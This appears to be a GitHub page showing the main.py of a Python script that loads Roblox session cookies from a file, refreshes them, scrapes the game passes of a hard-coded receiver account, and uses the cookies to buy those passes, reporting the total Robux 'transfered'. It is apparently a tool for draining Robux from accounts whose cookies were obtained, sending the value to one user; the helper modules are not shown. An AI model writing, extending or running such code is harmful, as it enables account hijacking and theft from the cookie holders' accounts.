-
Notifications
You must be signed in to change notification settings - Fork 4
/
main.py
27 lines (18 loc) · 914 Bytes
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import src.products as products
import src.cookie as cookie
import src.gamepasses as experiences
import asyncio
cookieClass = cookie.refresh()
robux_receiver_user = 4130644805
gameClass = experiences.scrape(robux_receiver_user)
async def main():
refreshed_cookies = await cookieClass.run(open("cookies.txt", "r").read().split("\n"))
if not refreshed_cookies[1]:
raise Exception("Failed to refresh cookies: received an empty list: {}".format(refreshed_cookies[0]))
gamepasses = await gameClass.run()
if not gamepasses["success"] or not gamepasses["game_passes"]:
raise Exception("Failed to scrape user gamepasses")
productsClass = products.products(products=gamepasses["game_passes"], cookies=refreshed_cookies[1])
rbx_spend = await productsClass.run()
print(f"Total robux transfered: {rbx_spend}")
asyncio.run(main())